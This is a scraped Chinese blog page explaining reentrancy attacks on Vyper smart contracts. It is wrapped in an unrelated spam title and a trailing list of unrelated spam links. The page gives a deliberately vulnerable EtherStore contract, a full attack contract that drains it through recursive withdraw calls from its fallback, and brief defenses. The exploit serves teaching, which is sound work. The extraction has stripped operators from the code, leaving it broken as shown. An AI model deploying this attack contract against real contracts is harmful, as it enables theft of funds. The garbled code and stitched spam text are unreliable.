当前位置: 首页 > news >正文

用vuejs做网站网架公司联系方式

用vuejs做网站,网架公司联系方式,网络营销有用吗,泰州网站制作价格什么是重入攻击 Reentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时#xff0c;就会发生重入攻击。然后#xff0c;不可信合约会递归调用原始函数#xff0c;试图耗尽资金。 当合约在发送资金之前未能更新其状态时#…什么是重入攻击 Reentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时就会发生重入攻击。然后不可信合约会递归调用原始函数试图耗尽资金。 当合约在发送资金之前未能更新其状态时攻击者可以不断调用提取函数以耗尽合约资金。一个著名的真实世界重入攻击案例是DAO攻击导致损失了6000万美元。 重入攻击工作原理 重入攻击涉及两个智能合约。一个是易受攻击的合约另一个是攻击者的不可信合约。 重入攻击场景 易受攻击的智能合约有10个ETH。攻击者使用存款函数存入1个ETH。攻击者调用提取函数并将恶意合约作为接收者。现在提取函数将验证它是否可以执行 攻击者在其余额上有1个ETH吗是的因为他们的存款。向恶意合约转移1个ETH。注意攻击者的余额尚未更新恶意合约接收到ETH后的回退函数再次调用提取函数。 现在提取函数将再次验证它是否可以执行 攻击者在其余额上有1个ETH吗是的因为余额尚未更新。向恶意合约转移1个ETH。如此反复直到攻击者耗尽合约中的所有资金。 Vyper重入攻击 可能大家对solidity的智能合约重入攻击比较熟悉本次文章中我们将以Vyper的代码展示重入攻击的漏洞。 Vyper存在重入攻击的代码示例 # version 0.3.2 notice EtherStore is a contract where you can deposit ETH and withdraw that same amount of ETH later. This contract is vulnerable to re-entrancy attack. Here is the attack flow: 1. Deposit 1 ETH each from Account 1 (Alice) and Account 2 (Bob) into EtherStore. 2. Deploy the Attack contract. 3. Call the Attack contracts attack function sending 1 ether (using Account 3 (Eve)).You will get 3 Ethers back (2 Ether stolen from Alice and Bob,plus 1 Ether sent from this contract).What happened? Attack was able to call EtherStore.withdraw multiple times before EtherStore.withdraw finished executing. # notice Mapping from address to ETH balance held in the contract balances: public(HashMap[address, uint256])# notice Function to deposit ETH into the contract external payable def deposit():self.balances[msg.sender] msg.value# notice Function to withdraw the ETH deposited into the contract external def withdraw():bal: uint256 self.balances[msg.sender]assert bal 0, This account does not have a balance# dev Send the users balance to them using raw callraw_call(msg.sender, b, valuebal)# dev Set users balance to 0self.balances[msg.sender] 0# notice Helper function to get the balance of the contract external view def getBalance() - uint256:return self.balanceVyper利用上述重入漏洞的攻击合约 # version 0.3.2 notice Here is the order of function calls during the attack - Attack.attack - EtherStore.deposit - EtherStore.withdraw - Attack.default (receives 1 Ether) - EtherStore.withdraw - Attack.default (receives 1 Ether) - EtherStore.withdraw - Attack.ldefault (receives 1 Ether) # notice Interface with the Etherstore contract interface IEtherstore:def deposit(): payabledef withdraw(): nonpayabledef getBalance() - uint256: view# notice The address where the Etherstore contract is deployed victim: public(address)# notice Set the victim address external def setVictim(_victim:address):self.victim _victim# notice Default is called when EtherStore sends ETH to this contract. external payable def __default__():# dev Checks if the balance of the Etherstore contract is greater than 1 ETH (in wei)if IEtherstore(self.victim).getBalance() as_wei_value(1, ether):IEtherstore(self.victim).withdraw()external payable def attack():assert msg.value as_wei_value(1, ether), Must send 1 ETHIEtherstore(self.victim).deposit(valueas_wei_value(1, ether))IEtherstore(self.victim).withdraw()# notice Helper function to get the balance of the contract external view def getBalance() - uint256:return self.balanceVyper重入漏洞防御措施 使用 send() 代替 call()重入攻击将失败因为 send() 不会转发足够的 gas 进行下一步操作。 使用 nonreentrant(key) 修饰符在你的提取函数上应用此修饰符将阻止重入攻击。 总结 在这篇文章中我们探讨了Vyper智能合约中重入攻击的机制、案例以及防御方法。重入攻击是一种严重的安全威胁当合约在发送资金之前未能更新其状态时攻击者可以通过递归调用提取函数来耗尽合约资金。重入攻击不仅仅在solidity中很常见在Vyper智能合约中同样应该注意
http://www.hkea.cn/news/14499343/

相关文章:

  • 网站建设可行性的分析湖南专业seo公司
  • 诺德中心做网站阿里云网站建设部署与发布
  • 蚌埠网站建设网站用代码怎么做网站
  • 做ui的网站有哪些秦皇岛网络推广公司
  • 有没有人通过网站建设卖东西的网络营销方法的选择
  • 有做外贸个人网站wordpress寺院模板
  • 政务网站建设工作的通知潜江资讯网手机版官网
  • 北京视频直播网站建设打车类app开发公司
  • 网站关键词排名突然没了wordpress标题不居中
  • 建设监理继续教育网站个人开投资公司条件
  • 公司网站做好了还需免费永久个人服务器
  • 网站设计免费模板网页html代码
  • 网站更新提醒缓存 wordpress 加速
  • 网站营销方案设计公司怎么写代码做网站
  • p2p借贷网站开发 论文上海注册公司注册资金
  • 江苏网站建设平台photoshop教程
  • 外贸多语言网站网站更新方法
  • 做充气气模产品一般去哪些网站wordpress电影资源网站
  • 番禺网站开发哪家专业coding免费搭建wordpress
  • wordpress vip购买页面如何优化百度seo排名
  • 建网站公司哪个比较好seo基础视频教程
  • 清远东莞网站建设上海市安全建设监理协会网站
  • pc网站开发语言宝安网站设计制作
  • python 做网站 用哪个框架好十大装修公司排名哪家最好
  • 淄博 建设网站重庆一般做一个网站需要多少钱
  • 成品网站w灬源码伊园上海建设银行官网网站
  • 哔哩哔哩黄页网站江苏省建设考试信息管理系统网站
  • 余姚市城乡建设局网站建设一个网站的基本步骤
  • 桂林网站建设企业管理咨询收费标准
  • 吉林省建设厅网站特殊工种潍坊微信网站